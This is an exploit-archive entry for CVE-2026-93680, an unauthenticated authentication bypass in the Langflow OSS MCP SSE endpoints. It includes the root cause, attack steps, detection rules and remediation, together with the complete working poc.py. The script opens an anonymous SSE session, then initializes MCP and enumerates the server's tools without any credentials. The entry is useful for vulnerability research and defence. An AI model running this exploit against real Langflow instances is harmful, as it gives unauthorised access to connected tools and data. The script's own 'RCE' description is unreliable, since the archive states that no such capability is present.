PoC Archive PoC Archive
CVE-2026-93680 category: web CVSS 9.8 (CRITICAL)
Patched

Langflow OSS MCP SSE Improper Authentication Bypass (CVE-2026-93680)

Published: 2026-11-25 • Researcher: Richard Howe (rmhowe425) — PoC; IBM PSIRT — advisory

Target software IBM Langflow OSS (Langflow AI application builder; MCP server SSE/HTTP endpoints)
Affected versions 1.0.0 through 1.12.8 (NVD range >=1.0.0, <1.13.0); the PoC header claims 1.5.0–1.11.4 tested
Status PoC
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-93680
Category
web
Affected product
IBM Langflow OSS (Langflow AI application builder; MCP server SSE/HTTP endpoints)
Affected versions
1.0.0 through 1.12.8 (NVD range >=1.0.0, <1.13.0); the PoC header claims 1.5.0–1.11.4 tested
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-09-21
Author / ResearcherRichard Howe (rmhowe425) — PoC; IBM PSIRT — advisory
CVE / AdvisoryCVE-2026-93680
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H; NVD)
StatusPoC
Tagslangflow, authentication-bypass, CWE-287, MCP, SSE, AI-platform, unauthenticated, Python, FastAPI, tool-abuse
RelatedN/A

Affected Target

FieldValue
Software / SystemIBM Langflow OSS (Langflow AI application builder; MCP server SSE/HTTP endpoints)
Versions Affected1.0.0 through 1.12.8 (NVD range >=1.0.0, <1.13.0); the PoC header claims 1.5.0–1.11.4 tested
Language / PlatformPython (PoC); Langflow server is Python/FastAPI, typically deployed with pip, Docker or Langflow Desktop on Linux/macOS
Authentication RequiredNo
Network Access RequiredYes

Summary

IBM Langflow OSS 1.0.0 through 1.12.8 could allow a remote attacker to bypass security restrictions due to improper authentication, classified as CWE-287 by NVD. The archived PoC shows the practical route: an unauthenticated GET to the MCP SSE endpoint returns a server-issued session ID, and that session ID alone is then sufficient to POST MCP JSON-RPC messages such as initialize and the tools list method to the MCP HTTP endpoint. The result is access to the MCP tool surface of the Langflow instance without logging in, which can expose the tools and data sources the platform is wired to. The PoC demonstrates the bypass and tool enumeration; it does not itself implement post-auth remote code execution.

Vulnerability Details

Root Cause

Langflow’s MCP integration issues a session ID over the server-sent-events endpoint at /api/v1/mcp/sse and then trusts that session ID as the sole credential for subsequent JSON-RPC calls to /api/v1/mcp/. The HTTP handler does not verify an authenticated user or an API key for those calls, so possession of a session ID obtained from an anonymous SSE connection is treated as an authenticated session. IBM scores this as improper authentication. The SSE endpoint and the JSON-RPC endpoint are distinct code paths, and the auth check that protects the normal REST API is not applied consistently to the MCP transport.

Attack Vector

  1. Attacker sends an unauthenticated GET to /api/v1/mcp/sse and reads the streamed event that carries the session ID.
  2. Attacker POSTs a JSON-RPC initialize request to /api/v1/mcp/?session_id=, followed by the notifications/initialized notification.
  3. Attacker POSTs a JSON-RPC tools list request to the same endpoint and receives the server’s tool definitions and metadata.
  4. No login, bearer token, API key or cookie is ever presented; the session ID captured in step 1 is the whole exploit.

Impact

Unauthenticated access to the Langflow MCP tool surface. Depending on which tools the instance exposes and how they are wired, this gives an attacker visibility into configured components, models, knowledge bases and connected data sources, and the ability to invoke exposed tools; from there the impact ranges from information disclosure to misuse of the tools’ own privileges. NVD rates it 9.8 with high confidentiality, integrity and availability impact. The archived PoC demonstrates steps 1–3 (bypass plus tool enumeration); data exfiltration in the upstream walkthrough relies on the tools that the target instance exposes.

Environment / Lab Setup

Output
OS:          Ubuntu 22.04 (per the PoC header); any host that can reach the instance
Target:      IBM Langflow OSS 1.0.0–1.12.8 with MCP enabled
             (Langflow Desktop or a pip/Docker deployment)
Attacker:    Linux workstation, Python 3
Tools:       python3, requests, curl, a terminal per step (the
             upstream README uses two terminals: SSE stream + JSON-RPC)

Setup Steps

Shell script
1
2
3
4
python3 -m venv .venv && . .venv/bin/activate
pip install requests

curl -N -s http://127.0.0.1:7860/api/v1/mcp/sse

Proof of Concept

Step-by-Step Reproduction

  1. Step 1 — Capture an anonymous MCP session (terminal 1). The SSE stream prints the session ID and keeps the connection open.

    Shell script
    1
    
    python3 poc.py -u http://127.0.0.1:7860
  2. Step 2 — Initialize the MCP session with that ID (terminal 2). No auth header is supplied.

    Shell script
    1
    
    python3 poc.py -u http://127.0.0.1:7860 -s <session_id>
  3. Step 3 — Enumerate the MCP tools over the same unauthenticated session, then exercise any tool the instance exposes using its returned schema.

    Shell script
    1
    2
    3
    
    # the same invocation performs initialize, notifications/initialized
    # and the tools list call in sequence
    python3 poc.py -u http://127.0.0.1:7860 -s <session_id>

Exploit Code

See poc.py in this folder; the upstream notes are in upstream-README.md.

Python
1
2
3
4
5
6
7
import requests

BASE = "http://127.0.0.1:7860"
r = requests.get(f"{BASE}/api/v1/mcp/sse", stream=True)   # anonymous SSE
session = "<session_id from the SSE stream>"
payload = {"jsonrpc": "2.0", "id": 1, "method": "tools/list", "params": {}}
print(requests.post(f"{BASE}/api/v1/mcp/?session_id={session}", json=payload).text)

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
$ python3 poc.py -u http://127.0.0.1:7860
Connected. Listening for streamed data...

event: endpoint
data: /api/v1/mcp/?session_id=<session_id>

$ python3 poc.py -u http://127.0.0.1:7860 -s <session_id>
Initialize status: 200
Initialize response: {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2025-06-18","capabilities":{...},"serverInfo":{...}}}
Initialized status: 200
tools/list status: 200
tools/list response: {"jsonrpc":"2.0","id":2,"result":{"tools":[{"name":"...","description":"...","inputSchema":{...}}]}}

The transcript above is illustrative: the streamed event name, the JSON-RPC serverInfo/capabilities fields and the tool list all depend on the Langflow build and on which components the instance exposes. The success condition is HTTP 200 with a result object instead of a 401/403, reached without ever presenting credentials.

Detection & Indicators of Compromise

  • Web server or reverse-proxy logs showing GET /api/v1/mcp/sse followed by POST /api/v1/mcp/?session_id=… from the same source IP with no Authorization header, no session cookie and no prior /api/v1/login request.
  • MCP JSON-RPC bodies containing “method”: “tools/list” or “method”: “tools/call” arriving from an unauthenticated client.
  • A single source opening many SSE streams to mint sessions and then reusing each one for tool enumeration.
  • Unusual MCP tool invocations, or knowledge-base/model data leaving the instance, correlated with the requests above.
  • Langflow process or proxy 401/403 bursts on the REST API from an IP that nonetheless succeeds on the MCP endpoints.

SIEM / IDS rule (example):

Output
1
2
3
4
if request.uri startswith "/api/v1/mcp/" and request.method == "POST"
   and not request.header.Authorization and not request.cookie.session
   and request.uri contains "session_id="
then alert "Langflow MCP session-ID auth bypass (CVE-2026-93680)"

Remediation

ActionDetail
PatchUpgrade IBM Langflow OSS to 1.13.0 or later (NVD range is >=1.0.0, <1.13.0; IBM advisory node 7294467 is authoritative).
WorkaroundIf upgrading is not immediate, block /api/v1/mcp/sse and /api/v1/mcp/ at the reverse proxy or disable the MCP server feature on instances that do not need it.
Config HardeningKeep Langflow off untrusted networks, front it with an authenticating reverse proxy that covers every path including the MCP endpoints, disable automatic login and set a superuser password, and review which tools and data sources each instance is allowed to reach.

References

Notes

Auto-ingested from https://github.com/rmhowe425/POC-CVE-2026-93680 on 2026-11-25. Review verdict: real exploit code, ingested. The repository is a two-file PoC (poc.py plus a screenshot-based README) that actively drives the vulnerable MCP endpoints — it is not a scanner, checker or audit tool. No license file is present in the repository, so the single source file is archived with attribution for authorized research only.

Limitations: the script needs the session ID from the SSE stream (the upstream README uses two terminals), so it is not a single-shot exploit; the code stops at initialize and the tools list call and does not implement the exfiltration or any code execution that the upstream screenshots describe, so Status is PoC rather than Weaponized. The argparse description mentions RCE, but no RCE primitive is in the code — that claim should not be relied on. The version header in poc.py (1.5.0–1.11.4) differs from the NVD range (1.0.0–1.12.8); the NVD/IBM range was used above. Exact tool behaviour and deployment steps are instance-specific — see references. Run only against systems you own or have written authorization to test.

Related archived entries on the same product: pocs/web/2026-11-25_cve-2026-93674-langflow (authenticated MCP command injection) and pocs/web/2026-07-19_cve-2026-55255-langflow-responses-api-idor.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
# Archived for authorized security research only.
# Source: https://github.com/rmhowe425/POC-CVE-2026-93680 (see README for attribution/license)
#
# Exploit Title:  Langflow security bypass
# Exploit Author: Richard Howe <rhowe425>
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://www.langflow.org/desktop
# Version: 1.5.0 - 1.11.4
# Tested on: Ubuntu 22.04
# CVE : CVE-2026-93680

import argparse
from requests import get, post


def connect_mcp_sse(base_url: str):
    endpoint = "/api/v1/mcp/sse"

    try:
        resp = get(
            base_url + endpoint,
            stream=True,
        )
    except Exception as e:
        raise RuntimeError(f"Error querying API.\n{e}")

    if resp.status_code != 200:
        raise RuntimeError(
            f"API returned with status code: {resp.status_code}"
        )

    print("Connected. Listening for streamed data...\n")

    try:
        for line in resp.iter_lines(decode_unicode=True):
            if line:
                print(line, flush=True)
    except KeyboardInterrupt:
        print("\nStopped listening.")
    finally:
        resp.close()


def initialize_mcp_session(base_url: str, session_id: str):
    endpoint = f"/api/v1/mcp/?session_id={session_id}"

    initialize_data = {
        "jsonrpc": "2.0",
        "id": 1,
        "method": "initialize",
        "params": {
            "protocolVersion": "2025-06-18",
            "capabilities": {},
            "clientInfo": {
                "name": "python-test-client",
                "version": "1.0.0",
            },
        },
    }

    try:
        resp = post(
            url=base_url + endpoint,
            json=initialize_data,
        )
        resp.raise_for_status()
    except Exception as e:
        raise RuntimeError(f"Initialization failed: {e}")

    print(f"Initialize status: {resp.status_code}")
    print(f"Initialize response: {resp.text}")

    initialized_data = {
        "jsonrpc": "2.0",
        "method": "notifications/initialized",
    }

    try:
        resp = post(
            url=base_url + endpoint,
            json=initialized_data,
        )
        resp.raise_for_status()
    except Exception as e:
        raise RuntimeError(
            f"Initialized notification failed: {e}"
        )

    print(f"Initialized status: {resp.status_code}")
    print(f"Initialized response: {resp.text}")


def list_mcp_tools(base_url: str, session_id: str):
    endpoint = f"/api/v1/mcp/?session_id={session_id}"

    tools_data = {
        "jsonrpc": "2.0",
        "id": 2,
        "method": "tools/list",
        "params": {},
    }

    try:
        resp = post(
            url=base_url + endpoint,
            json=tools_data,
        )
        resp.raise_for_status()
    except Exception as e:
        raise RuntimeError(f"tools/list failed: {e}")

    print(f"tools/list status: {resp.status_code}")
    print(f"tools/list response: {resp.text}")


def bypass_auth(base_url: str, session_id: str):
    initialize_mcp_session(
        base_url=base_url,
        session_id=session_id,
    )

    list_mcp_tools(
        base_url=base_url,
        session_id=session_id,
    )



def main():
    parser = argparse.ArgumentParser(description="Exploit for Langflow RCE CVE-2026-93680")
    parser.add_argument("-u", "--url", required=True,help="Target url. e.g. http://127.0.0.1:7860")
    parser.add_argument("-s", "--session_id", required=False, help="MCP session ID",)
    args = parser.parse_args()

    if not args.session_id:
        connect_mcp_sse(base_url=args.url)
    else:
        bypass_auth(base_url=args.url, session_id=args.session_id)


main()